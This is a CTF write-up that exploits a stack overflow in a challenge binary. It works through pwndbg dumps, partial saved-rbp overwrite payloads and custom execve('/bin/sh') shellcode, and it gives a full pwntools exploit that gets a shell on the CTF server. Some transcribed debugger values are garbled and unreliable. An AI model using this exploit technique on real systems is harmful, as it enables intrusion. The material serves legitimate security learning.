Breakpoint 1 at 0x55d7b921822f:
Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target...
----- tip of the day (disable with set show-tips off) -----
GDB's set directories <path> parameter can be used to debug e.g. glibc sources like the malloc/free functions!
Exception occurred: Error: Cannot execute this command while the target is running.
Use the "interrupt" command to stop the target and then try again. (<class 'gdb.error'>)
For more info invoke 'set exception-verbose on' and rerun the command or debug it by yourself with 'set exception-debugger on'.
Python Exception <class 'gdb.error'>: Cannot execute this command while the target is running.
Use the "interrupt" command to stop the target and then try again.
(pwndbg-) Breakpoint 1, 0x00055d7b921822ff in vuln ()


LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS | show-flags off | show-compact-regs off ]
--RAX 0x0
--RDX 0x7ffc29a76f58 → 0x7ffc29a79167 ← '/home/mark/Desktop/CTF/Hackerlab24/FPO/chall'
--RCX 0x0
--R0X 0x0
--RDI 0x7ffc29a76b48 → 0x7ffc29a76b78 ← 0x4242414141414141 ('AAAAAABB')
--RSI 0x7ffc29a76b78 ← 0x4242414141414141 ('AAAAAABB')
--R8 0x73
--R9 0x1
--R10 0x0
--R11 0x202
--R12 0x0
--R13 0x7ffc29a76f68 → 0x7ffc29a79194 ← 'SSH_AUTH_SOCK/tmp/ssh-aFhu2u0gfkb/agent.2382'
--R14 0x55d7b921a168 (_do_global_dtors_aux_fini_array_entry) → 0x55d7b9218120 (_do_global_dtors_aux)
← endbr64
--R15 0x7f360a0ae000 (_rtld_global) → 0x7f360a0af200 → 0x55d7b9217000 ← 0x10102464c45f7
--RIP 0x7ffc29a76b20 → 0x7ffc29a7b242 ← 0x0
--SP 0x7ffc29a76b20 ← 0x14141414141414141 ('AAAAAAA')
--RIP 0x55d7b921822f (vuln+121) ← leave
[ DISASM / x86-64 / set emulate on ]
→ 0x55d7b921822f <vuln+121> leave
0x55d7b9218230 <vuln+122> ret
↓
0x55d7b9218254 <main+35> mov eax, 0
0x55d7b9218259 <main+40> leave
0x55d7b921825a <main+41> ret
↓
0x55d7b921825b add byte ptr [rax - 0x7d], cl
0x55d7b921825e <fni+2> in al, dx
0x55d7b921825f <fni+3> or byte ptr [rax - 0x7d], cl
↓
[ STACK ]
00:0000| rsp 0x7ffc29a76d20 ← 0x14141414141414141 ('AAAAAAA')
... ↓ 7 skipped
[ BACKTRACE ]
→ 0 0x55d7b921822f vuln+121
1 0x55d7b921825a main+35

pwndbg █
```

```
python3 solve.py GDB
```

On the right hand side our debugger would be attached

We can view the current value of the saved rbp



```
GDB-Pwn
File Edit View Terminal Tabs Help
pwndbg> i f
Stack level 0, frame at 0x7ffc29a76e30:
rip = 0x55d7b921822f in vuln; saved rip = 0x55d7b9218254
called by frame at 0x7ffc29a74252
Arglist at 0x7ffc29a76e20, args:
Locals at 0x7ffc29a76e20, Previous frame's sp is 0x7ffc29a76e30
Saved registers:
  rbp at 0x7ffc29a76e20, rip at 0x7ffc29a76e28
pwndbg> x/gx 0x7ffc29a76e20,
A syntax error in expression, near `'.
pwndbg> x/gx 0x7ffc29a76e20
0x7ffc29a76e20: 0x00007ffc29a74242
pwndbg> 
```

We see that we overwrote the last 16 bits to BB -> 0x4242

And now remember that when `leave; ret` is executed this is what would happen

```
mov rsp, rbp
pop rbp
pop rip
```

Now let's move on to the next instruction

```
GDB - Pwn
File Edit View Terminal Tabs Help
0x000055c442874254 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
RAX 0x0
RBX 0x7ffd7bfd8878 -> 0x7ffd7bfd9167 -> '/home/mark/Desktop/CTF/Hackerlab24/FP0/chall'
RCX 0x0
RDX 0x0
RDI 0x7ffd7bfd8460 -> 0x7ffd7bfd8490 -> 0x4242414141414141 ('AAAAAABB')
RSI 0x7ffd7bfd8490 -> 0x4242414141414141 ('AAAAAABB')
R8 0x73
R9 0x1
R10 0x0
R11 0x202
R12 0x0
R13 0x7ffd7bfd8888 -> 0x7ffd7bfd9194 -> 'SSH_AUTH_SOCK=/tmp/ssh-aFh2u0gfk7bG/agent.2382'
R14 0x55c442876168 (__do_global_dtors_aux_fini_array_entry) -> 0x55c442874120 (__do_global_dtors_aux)
<- endbr64
R15 0x7f1fc6398000 (_rtld_global) -> 0x7f1fc63992d0 -> 0x55c442873000 -> 0x10102464c457f
RBP 0x7ffd7bfd4242 -> 0x0
*RSP 0x7ffd7bfd8750 -> 0x0
*RIP 0x55c442874254 (main+35) -> mov eax, 0
[ DISASM / x86-64 / set emulate on ]
0x55c44287422f <vuln+121> leave
0x55c442874230 <vuln+122> ret
↓
0x55c442874254 <main+35> mov eax, 0
0x55c442874259 <main+40> leave
0x55c44287425a <main+41> ret
0x55c44287425b add byte ptr [rax - 0x7d], cl
0x55c44287425e <_fini+2> in al, dx
0x55c44287425f <_fini+3> or byte ptr [rax - 0x7d], cl
[ STACK ]
00:0000 rsp 0x7ffd7bfd8750 -> 0x0
01:0008 0x7ffd7bfd8758 -> 0x100000000
02:0010 0x7ffd7bfd8760 -> 0x1
03:0018 0x7ffd7bfd8768 -> 0x7f1fc618f6ca (__libc_start_call_main+122) -> mov edi, eax
04:0020 0x7ffd7bfd8770 -> 0x0
05:0028 0x7ffd7bfd8778 -> 0x55c442874231 (main) -> push rbp
06:0030 0x7ffd7bfd8780 -> 0x100000000
07:0038 0x7ffd7bfd8788 -> 0x7ffd7bfd8878 -> 0x7ffd7bfd9167 -> '/home/mark/Desktop/CTF/Hackerlab24/FP0/chall'
[ BACKTRACE ]
0 0x55c442874254 main+35
1 0x0
pwndbg> i f
Stack level 0, frame at 0x7ffd7bfd4252:
rip = 0x55c442874254 in main; saved rip = 0x0
called by frame at 0x7ffd7bfd425a
Arglist at 0x7ffd7bfd4242, args:
Locals at 0x7ffd7bfd4242, Previous frame's sp is 0x7ffd7bfd4252
Saved registers:
rbp at 0x7ffd7bfd4242, rip at 0x7ffd7bfd424a
pwndbg>
```

We can see that now we are in the `main` function where it's about to return and the saved `rbp` is still pointing to the value which we overwrote already

If we move to the next instruction we would see that the value in `rbp` is going to be stored in `rsp`

```
GDB - Pwn
File Edit View Terminal Tabs Help
03:0018 0x7ffd7bfd8768 -> 0x7f1fc618f6ca (__libc_start_call_main+122) <- mov edi, eax
04:0020 0x7ffd7bfd8770 <- 0x0
05:0028 0x7ffd7bfd8778 -> 0x55c442874231 (main) <- push rbp
06:0030 0x7ffd7bfd8780 <- 0x100000000
07:0038 0x7ffd7bfd8788 -> 0x7ffd7bfd8878 -> 0x7ffd7bfd9167 <- '/home/mark/Desktop/CTF/Hackerlab24/FP0/chall'
P0/chall'

[ BACKTRACE ]
> 0 0x55c442874259 main+40
1 0x0

pwndbg>
0x000055c44287425a in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
RAX 0x0
RBX 0x7ffd7bfd8878 -> 0x7ffd7bfd9167 <- '/home/mark/Desktop/CTF/Hackerlab24/FP0/chall'
RCX 0x0
RDX 0x0
RDI 0x7ffd7bfd8460 -> 0x7ffd7bfd8490 <- 0x4242414141414141 ('AAAAAABB')
RSI 0x7ffd7bfd8490 <- 0x4242414141414141 ('AAAAAABB')
R8 0x73
R9 0x1
R10 0x0
R11 0x202
R12 0x0
R13 0x7ffd7bfd8888 -> 0x7ffd7bfd9194 <- 'SSH_AUTH_SOCK=/tmp/ssh-aFh2u0gfk7bG/agent.2382'
R14 0x55c442876168 (__do_global_dtors_aux_fini_array_entry) -> 0x55c442874120 (__do_global_dtors_aux)
<- endbr64
R15 0x7f1fc6398000 (_rtld_global) -> 0x7f1fc63992d0 -> 0x55c442873000 <- 0x10102464c457f
*RBP 0x0
*RSP 0x7ffd7bfd424a <- 0x0
*RIP 0x55c44287425a (main+41) <- ret
[ DISASM / x86-64 / set emulate on ]
0x55c44287422f <vuln+121> leave
0x55c442874230 <vuln+122> ret
↓
0x55c442874254 <main+35> mov eax, 0
0x55c442874259 <main+40> leave
> 0x55c44287425a <main+41> ret <0>

[ STACK ]
00:0000| rsp 0x7ffd7bfd424a <- 0x0
... ↓ 7 skipped

[ BACKTRACE ]
> 0 0x55c44287425a main+41
1 0x0

pwndbg> x 0x7ffd7bfd4242-0x7ffd7bfd424a
0xffffffffffffffff8: Cannot access memory at address 0xffffffffffffffff8
pwndbg> x 0x7ffd7bfd424a-0x7ffd7bfd4242
0x8: Cannot access memory at address 0x8
pwndbg> 
```

But then I saw RSP is actually increased by 8 and at this point RIP is pointing to the next address after the address we overwrote it to

In case you are wondering why it increased by 8 that's because `pop rbp` would remove a value from the stack which basically would subtract 8 bytes from the current stack pointer

Now our idea is this:

- We would overwrite the saved rbp in function `vuln` to the last 16 bits of the start of our input buffer
- Create a payload by crafting it such that when RIP points to the next 8 bytes of the buffer then we would have control over the program

Here's what I used:

```
36 def solve():
37     io.recvuntil("Nickname @>")
38     buf = int(io.recvline().strip(), 16)
39     info("buf leak: %#x", buf)
40
41     offset = 256
42
43     payload = b'A'*8 + asm('nop')*(offset - 8) + p16(buf & 0xffff)
44
45     io.sendline(payload)
46
47     io.interactive()
48
```

```
def solve():
    io.recvuntil("Nickname @>")
    buf = int(io.recvline().strip(), 16)
    info("buf leak: %#x", buf)

    offset = 256

    payload = b'A'*8 + asm('nop')*(offset - 8) + p16(buf & 0xffff)

    io.sendline(payload)

    io.interactive()
```

[illegible]

If we take a look at the current stack value we get this

```
GDB - Pwn
File Edit View Terminal Tabs Help
pwndbg> x/50gx $rsp
0x7fffffff9974b0: 0x4141414141414141 0x9090909090909090
0x7fffffff9974c0: 0x9090909090909090 0x9090909090909090
0x7fffffff9974d0: 0x9090909090909090 0x9090909090909090
0x7fffffff9974e0: 0x9090909090909090 0x9090909090909090
0x7fffffff9974f0: 0x9090909090909090 0x9090909090909090
0x7fffffff997500: 0x9090909090909090 0x9090909090909090
0x7fffffff997510: 0x9090909090909090 0x9090909090909090
0x7fffffff997520: 0x9090909090909090 0x9090909090909090
0x7fffffff997530: 0x9090909090909090 0x9090909090909090
0x7fffffff997540: 0x9090909090909090 0x9090909090909090
0x7fffffff997550: 0x9090909090909090 0x9090909090909090
0x7fffffff997560: 0x9090909090909090 0x9090909090909090
0x7fffffff997570: 0x9090909090909090 0x9090909090909090
0x7fffffff997580: 0x9090909090909090 0x9090909090909090
0x7fffffff997590: 0x9090909090909090 0x9090909090909090
0x7fffffff9975a0: 0x9090909090909090 0x9090909090909090
0x7fffffff9975b0: 0x00007fffffff9974b0 0x00005583e8688254
0x7fffffff9975c0: 0x0000000000000000 0x0000000010000000
0x7fffffff9975d0: 0x0000000000000001 0x00007efcef5446ca
0x7fffffff9975e0: 0x0000000000000000 0x00005583e8688231
0x7fffffff9975f0: 0x0000000010000000 0x00007fffffff9976e8
0x7fffffff997600: 0x00007fffffff9976e8 0xac58848195b21ec9
0x7fffffff997610: 0x0000000000000000 0x00007fffffff9976f8
0x7fffffff997620: 0x00005583e868a168 0x00007efcef74d000
0x7fffffff997630: 0x53a77bb37e701ec9 0x51a15a2918b41ec9
pwndbg> 
```

The address of the start of our buffer is `0x7fffffff9974b0` and the saved rbp has been overwritten to the start of our buffer


```
pwndbg> i f
Stack level 0, frame at 0x7ffffff9975c0:
  rip = 0x5583e868822f in vuln; saved rip = 0x5583e8688254
  called by frame at 0x7ffffff9974c0
  Arglist at 0x7ffffff9975b0, args:
  Locals at 0x7ffffff9975b0, Previous frame's sp is 0x7ffffff9975c0
  Saved registers:
    rbp at 0x7ffffff9975b0, rip at 0x7ffffff9975b8
pwndbg> x/gx 0x7ffffff9975b0
0x7ffffff9975b0: 0x00007ffffff9974b0
pwndbg> █
```

Now when we continue the program execution we would get an error

```
GDB - Pwn
File Edit View Terminal Tabs Help

1 0x9090909090909090
2 0x9090909090909090
3 0x9090909090909090
4 0x9090909090909090
5 0x9090909090909090
6 0x9090909090909090
7 0x9090909090909090

pwndbg>
0x00005583e868825a in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
RAX 0x0
RBX 0x7ffffff9976e8 -> 0x7ffffff998167 -> '/home/mark/Desktop/CTF/Hackerlab24/FP0/chall'
RCX 0x0
RDX 0x0
RDI 0x7ffffff9972d0 -> 0x7ffffff997300 -> 0x74b0909090909090
RSI 0x7ffffff997300 -> 0x74b0909090909090
R8 0x73
R9 0x1
R10 0x0
R11 0x202
R12 0x0
R13 0x7ffffff9976f8 -> 0x7ffffff998194 -> 'SSH_AUTH_SOCK=/tmp/ssh-aFh2u0gfk7bG/agent.2382'
R14 0x5583e868a168 (__do_global_dtors_aux_fini_array_entry) -> 0x5583e8688120 (__do_global_dtors_aux)
<- endbr64
R15 0x7efcef74d000 (_rtld_global) -> 0x7efcef74e2d0 -> 0x5583e8687000 -> 0x10102464c457f
*RBP 0x4141414141414141 ('AAAAAAA')
*RSP 0x7ffffff9974b8 -> 0x9090909090909090
*RIP 0x5583e868825a (main+41) -> ret
[ DISASM / x86-64 / set emulate on ]
0x5583e868822f <vuln+121> leave
0x5583e8688230 <vuln+122> ret
↓
0x5583e8688254 <main+35> mov eax, 0
0x5583e8688259 <main+40> leave
▶ 0x5583e868825a <main+41> ret <0x9090909090909090>

[ STACK ]
00:0000 | rsp 0x7ffffff9974b8 -> 0x9090909090909090
... ↓ 7 skipped

[ BACKTRACE ]
▶ 0 0x5583e868825a main+41
1 0x9090909090909090
2 0x9090909090909090
3 0x9090909090909090
4 0x9090909090909090
5 0x9090909090909090
6 0x9090909090909090
7 0x9090909090909090

pwndbg> 
```

The reason is because `0x9090909090909090` isn't a valid address of an instruction

And because that's what's pointing to RSP, then RIP would try execute the instruction stored in that address which causes an error

To fix that we would overwrite `buf[8]` to `buf[16]` and then our payload would be stored in `buf[16]`

With that it would try to access `buffer[8]` and because that would hold an address pointing to an instruction, it would then be executed

Here's my script:

```
36 def solve():
37     io.recvuntil("Nickname @>")
38     buf = int(io.recvline().strip(), 16)
39     info("buf leak: %#x", buf)
40
41     offset = 256
42
43     payload = b'A'*8 + p64(buf+16) + asm('nop')*(offset - 8 - 8) + p16(buf & 0xffff)
44
45     io.sendline(payload)
46
47     io.interactive()
48
```

```
def solve():
    io.recvuntil("Nickname @>")
    buf = int(io.recvline().strip(), 16)
    info("buf leak: %#x", buf)

    offset = 256

    payload = b'A'*8 + p64(buf+16) + asm('nop')*(offset - 8 - 8) + p16(buf &
0xffff)

    io.sendline(payload)

    io.interactive()
```

Running it we get this

The screenshot shows two windows. The left window is a terminal running a script named `solve.py`. The output shows the script receiving a nickname 'Hello', leaking a buffer address `0x7ffe0cbda30`, and then switching to interactive mode. The right window is a GDB debugger showing the state of the program. The legend indicates the current register values: `RAX: 0x0`, `RDX: 0x0`, `RDI: 0x7ffe0cbda30`, `RSI: 0x7ffe0cbda30`, `R8: 0x73`, `R9: 0x1`, `R10: 0x0`, `R11: 0x202`, `R12: 0x0`, `R13: 0x7ffe0cbdc78`, `R14: 0x56148d79d168`, `R15: 0x7f687581b2d0`, `RIP: 0x56148d79b22f`. The stack shows the current frame at `0x56148d79b22f` with arguments `<vuln+121>` and `<vuln+122>`. The backtrace shows the current frame at `0x56148d79b22f` with arguments `<vuln+121>` and `<vuln+122>`.

When we view the current stack we see this

```
GDB - Pwn
File Edit View Terminal Tabs Help
pwndbg> x/50gx $rsp
0x7ffe00cbda30: 0x4141414141414141 0x00007ffe00cbda40
0x7ffe00cbda40: 0x9090909090909090 0x9090909090909090
0x7ffe00cbda50: 0x9090909090909090 0x9090909090909090
0x7ffe00cbda60: 0x9090909090909090 0x9090909090909090
0x7ffe00cbda70: 0x9090909090909090 0x9090909090909090
0x7ffe00cbda80: 0x9090909090909090 0x9090909090909090
0x7ffe00cbda90: 0x9090909090909090 0x9090909090909090
0x7ffe00cbdaa0: 0x9090909090909090 0x9090909090909090
0x7ffe00cbdad0: 0x9090909090909090 0x9090909090909090
0x7ffe00cbdac0: 0x9090909090909090 0x9090909090909090
0x7ffe00cbdad0: 0x9090909090909090 0x9090909090909090
0x7ffe00cbdae0: 0x9090909090909090 0x9090909090909090
0x7ffe00cbdaf0: 0x9090909090909090 0x9090909090909090
0x7ffe00cbdb00: 0x9090909090909090 0x9090909090909090
0x7ffe00cbdb10: 0x9090909090909090 0x9090909090909090
0x7ffe00cbdb20: 0x9090909090909090 0x9090909090909090
0x7ffe00cbdb30: 0x00007ffe00cbda30 0x000056148d79b254
0x7ffe00cbdb40: 0x0000000000000000 0x0000000010000000
0x7ffe00cbdb50: 0x0000000000000001 0x00007f68756116ca
0x7ffe00cbdb60: 0x0000000000000000 0x000056148d79b231
0x7ffe00cbdb70: 0x0000000010000000 0x00007ffe00cbdc68
0x7ffe00cbdb80: 0x00007ffe00cbdc68 0x3b9e0ca08ee16247
0x7ffe00cbdb90: 0x0000000000000000 0x00007ffe00cbdc78
0x7ffe00cbdba0: 0x000056148d79d168 0x00007f687581a000
0x7ffe00cbdbb0: 0xc4620d3738236247 0xc54ee662a3e76247
pwndbg>
```

Cool we see that we've set `buf+8` to `buf+16` and then `buf+16` is holding a valid instruction

And by the way `0x90` is the bytecode for instruction `nop` which means `no operation` basically it would do nothing

When we continue the execution using (ni) we get this

```
GDB - Pwn
File Edit View Terminal Tabs Help

4 0x9090909090909090
5 0x9090909090909090
6 0x9090909090909090
7 0x9090909090909090

pwndbg>
0x000056148d79b25a in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
RAX 0x0
RBX 0x7ffe00cbdc68 -> 0x7ffe00cbe167 -< '/home/mark/Desktop/CTF/Hackerlab24/FP0/chall'
RCX 0x0
RDX 0x0
RDI 0x7ffe00cbd850 -> 0x7ffe00cbd880 -< 0x4141206f6c6c6548 ('Hello AA')
RSI 0x7ffe00cbd880 -< 0x4141206f6c6c6548 ('Hello AA')
R8 0x73
R9 0x1
R10 0x0
R11 0x202
R12 0x0
R13 0x7ffe00cbdc78 -> 0x7ffe00cbe194 -< 'SSH_AUTH_SOCK=/tmp/ssh-aFh2u0gfk7bG/agent.2382'
R14 0x56148d79d168 (__do_global_dtors_aux_fini_array_entry) -> 0x56148d79b120 (__do_global_dtors_aux)
<- endbr64
R15 0x7f687581a000 (_rtld_global) -> 0x7f687581b2d0 -> 0x56148d79a000 -< 0x10102464c457f
*RBP 0x4141414141414141 ('AAAAAAA')
*RSP 0x7ffe00cbda38 -> 0x7ffe00cbda40 -< 0x9090909090909090
*RIP 0x56148d79b25a (main+41) -< ret
[ DISASM / x86-64 / set emulate on ]
0x56148d79b22f <vuln+121> leave
0x56148d79b230 <vuln+122> ret
↓
0x56148d79b254 <main+35> mov eax, 0
0x56148d79b259 <main+40> leave
▶ 0x56148d79b25a <main+41> ret <0x7ffe00cbda40>
↓
0x7ffe00cbda40 nop
0x7ffe00cbda41 nop
0x7ffe00cbda42 nop
0x7ffe00cbda43 nop
0x7ffe00cbda44 nop
0x7ffe00cbda45 nop
[ STACK ]
00:0000 | rsp 0x7ffe00cbda38 -> 0x7ffe00cbda40 -< 0x9090909090909090
01:0008 | 0x7ffe00cbda40 -< 0x9090909090909090
... ↓ 6 skipped
[ BACKTRACE ]
▶ 0 0x56148d79b25a main+41
1 0x7ffe00cbda40
2 0x9090909090909090
3 0x9090909090909090
4 0x9090909090909090
5 0x9090909090909090
6 0x9090909090909090
7 0x9090909090909090

pwndbg> 
```

Cool it's pointing to our shellcode

And then our shellcode is executed

```
GDB-Pwn
File Edit View Terminal Tabs Help
1 0x9090909090909090
2 0x9090909090909090
3 0x9090909090909090
4 0x9090909090909090
5 0x9090909090909090
6 0x9090909090909090
7 0x9090909090909090

pwndbg>
0x00007ffe00cbda45 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
RAX 0x0
RBX 0x7ffe00cbdc68 -> 0x7ffe00cbe167 -> '/home/mark/Desktop/CTF/Hackerlab24/FP0/chall'
RCX 0x0
RDX 0x0
RDI 0x7ffe00cbd850 -> 0x7ffe00cbd880 -> 0x4141206f6c6c6548 ('Hello AA')
RSI 0x7ffe00cbd880 -> 0x4141206f6c6c6548 ('Hello AA')
R8 0x73
R9 0x1
R10 0x0
R11 0x202
R12 0x0
R13 0x7ffe00cbdc78 -> 0x7ffe00cbe194 -> 'SSH_AUTH_SOCK=/tmp/ssh-aFh2u0gfk7bG/agent.2382'
R14 0x56148d79d168 (__do_global_dtors_aux_fini_array_entry) -> 0x56148d79b120 (__do_global_dtors_aux)
<- endbr64
R15 0x7f687581a000 (_rtld_global) -> 0x7f687581b2d0 -> 0x56148d79a000 -> 0x10102464c457f
RBP 0x4141414141414141 ('AAAAAAA')
RSP 0x7ffe00cbda40 -> 0x9090909090909090
*RIP 0x7ffe00cbda45 -> 0x9090909090909090
[ DISASM / x86-64 / set emulate on ]
0x7ffe00cbda40 nop
0x7ffe00cbda41 nop
0x7ffe00cbda42 nop
0x7ffe00cbda43 nop
0x7ffe00cbda44 nop
> 0x7ffe00cbda45 nop
0x7ffe00cbda46 nop
0x7ffe00cbda47 nop
0x7ffe00cbda48 nop
0x7ffe00cbda49 nop
0x7ffe00cbda4a nop
[ STACK ]
00:0000| rsp rip-5 0x7ffe00cbda40 -> 0x9090909090909090
... ↓ 7 skipped
[ BACKTRACE ]
> 0 0x7ffe00cbda45
1 0x9090909090909090
2 0x9090909090909090
3 0x9090909090909090
4 0x9090909090909090
5 0x9090909090909090
6 0x9090909090909090
7 0x9090909090909090

pwndbg> 
```

Now what we would like to do is spawn a shell

I just wrote a custom shellcode because why not 😊

Though you can just get any shellcode online or use pwntools shellcraft function to generate a shellcode for you

Ok to generate a shellcode to spawn a shell my goal is to call `execve('/bin/sh', 0x0, 0x0)`

Here's the state of registers before the program calls our shellcode

```
GDB-Pwn
File Edit View Terminal Tabs Help

3 0x9090909090909090
4 0x9090909090909090
5 0x9090909090909090
6 0x9090909090909090
7 0x9090909090909090

pwndbg> ni
0x00007ffe4cb3fc20 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
RAX 0x0
RBX 0x7ffe4cb3fe48 -> 0x7ffe4cb41167 -> '/home/mark/Desktop/CTF/Hackerlab24/FP0/chall'
RCX 0x0
RDX 0x0
RDI 0x7ffe4cb3fa30 -> 0x7ffe4cb3fa60 -> 0x4141206f6c6c6548 ('Hello AA')
RSI 0x7ffe4cb3fa60 -> 0x4141206f6c6c6548 ('Hello AA')
R8 0x73
R9 0x1
R10 0x0
R11 0x202
R12 0x0
R13 0x7ffe4cb3fe58 -> 0x7ffe4cb41194 -> 'SSH_AUTH_SOCK=/tmp/ssh-aFh2u0gfk7bG/agent.2382'
R14 0x55e2f36b3168 (__do_global_dtors_aux_fini_array_entry) -> 0x55e2f36b1120 (__do_global_dtors_aux)
<- endbr64
R15 0x7f348ad30000 (_rtld_global) -> 0x7f348ad312d0 -> 0x55e2f36b0000 -> 0x10102464c457f
RBP 0x4141414141414141 ('AAAAAAA')
*RSP 0x7ffe4cb3fc20 -> 0x9090909090909090
*RIP 0x7ffe4cb3fc20 -> 0x9090909090909090
[ DISASM / x86-64 / set emulate on ]
0x55e2f36b122f <vuln+121> leave
0x55e2f36b1230 <vuln+122> ret
↓
0x55e2f36b1254 <main+35> mov eax, 0
0x55e2f36b1259 <main+40> leave
0x55e2f36b125a <main+41> ret
↓
> 0x7ffe4cb3fc20 nop
0x7ffe4cb3fc21 nop
0x7ffe4cb3fc22 nop
0x7ffe4cb3fc23 nop
0x7ffe4cb3fc24 nop
0x7ffe4cb3fc25 nop
[ STACK ]
00:0000| rsp rip 0x7ffe4cb3fc20 -> 0x9090909090909090
... ↓ 7 skipped
[ BACKTRACE ]
> 0 0x7ffe4cb3fc20
1 0x9090909090909090
2 0x9090909090909090
3 0x9090909090909090
4 0x9090909090909090
5 0x9090909090909090
6 0x9090909090909090
7 0x9090909090909090

pwndbg> 
```

So to call `execve` :

- RAX: 0x3b
- RDI: Pointer to string `"/bin/sh"`
- RSI: NULL
- RDX: NULL

First I had to write `"/bin/sh"` into an address to use as a pointer to RDI

Luckily RSI has a stack address already stored in it, therefore I just added some offset to it in my case i used `0x50` and I wrote `"/bin/sh"` into `[rsi+0x50]`

With that here's my final exploit

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from warnings import filterwarnings

# Set up pwntools for the correct architecture
exe = context.binary = ELF('chall')
context.terminal = ['xfce4-terminal', '--title=GDB-Pwn', '--zoom=0', '--geometry=128x50+1100+0', '-e']

filterwarnings("ignore")
context.log_level = 'info'

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

gdbscript = '''
init-pwndbg
b *vuln+121
continue
'''.format(**locals())

#=====
#                               EXPLOIT GOES HERE
#=====

def init():
    global io

    io = start()

def solve():
    io.recvuntil("Nickname @>")
    buf = int(io.recvline().strip(), 16)
```



```

info("buf leak: %#x", buf)

offset = 256
sc = asm("""
    movabs rax, 0x68732f2f6e69622f
    lea rdi, [rsi+0x50]
    mov qword ptr [rdi], rax
    xor rax, rax
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 0x3b
    syscall
""")

sh = sc.ljust(offset-16, asm('nop'))

payload = b'A'*8 + p64(buf+16) + sh + p16(buf & 0xffff)

io.sendline(payload)

io.interactive()

def main():

    init()
    solve()

if __name__ == '__main__':
    main()

```

Running it spawns a shell

```
markhaxor: ~/Desktop/CTF/Hackerlab24/FP0
File Edit View Search Terminal Help

Δ ~/Desktop/CTF/Hackerlab24/FP0 > python3 solve.py
[ ] '/home/mark/Desktop/CTF/Hackerlab24/FP0/chall'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
[+] Starting local process '/home/mark/Desktop/CTF/Hackerlab24/FP0/chall': pid 26752
[ ] buf leak: 0x7ffdd9933278
[ ] Switching to interactive mode
Take your nickname>Hello AAAAAAAAA\x802\x93\x9d9\xfls -al
total 36
drwxr-xr-x 2 mark mark 4096 Jun 10 18:09 .
drwxr-xr-x 23 mark mark 4096 Jun 9 16:09 ..
-rw-r--r-- 1 mark mark 1971 Jun 10 18:08 .gdb_history
-rw-r--r-- 1 mark mark 1565 Jun 10 17:30 solve.py
-rwxr-xr-x 1 mark mark 13184 Jun 6 00:47 chall
-rw-r--r-- 1 mark mark 1487 Jun 10 18:08 solve.py
$
```

We can run it remotely also

```
markhaxor: ~/Desktop/CTF/Hackerlab24/FP0
File Edit View Search Terminal Help

Δ ~/Desktop/CTF/Hackerlab24/FP0 > python3 solve.py REMOTE 135.125.107.236 5023
[ ] '/home/mark/Desktop/CTF/Hackerlab24/FP0/chall'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
[+] Opening connection to 135.125.107.236 on port 5023: Done
[ ] buf leak: 0x7ffe2a0c87e0
[ ] Switching to interactive mode
Take your nickname>Hello AAAAAAAAA\x80\x87\xels -al
total 40
drwxr-xr-x 1 root pwn 4096 Jun 2 17:59 .
drwxr-xr-x 1 root root 4096 May 28 23:35 ..
-r-xr-x--- 1 root pwn 13184 May 28 23:34 chall
-r-r--r-- 1 root pwn 49 Jun 2 17:58 flag.txt
-r-xr-x--- 1 root pwn 35 May 28 23:34 redir.sh
$ cat flag.txt
HLB2024{0verflow_shellcode_you_learn_or_you_pwn}
$
```

Flag: HLB2024{0verflow_shellcode_you_learn_or_you_pwn}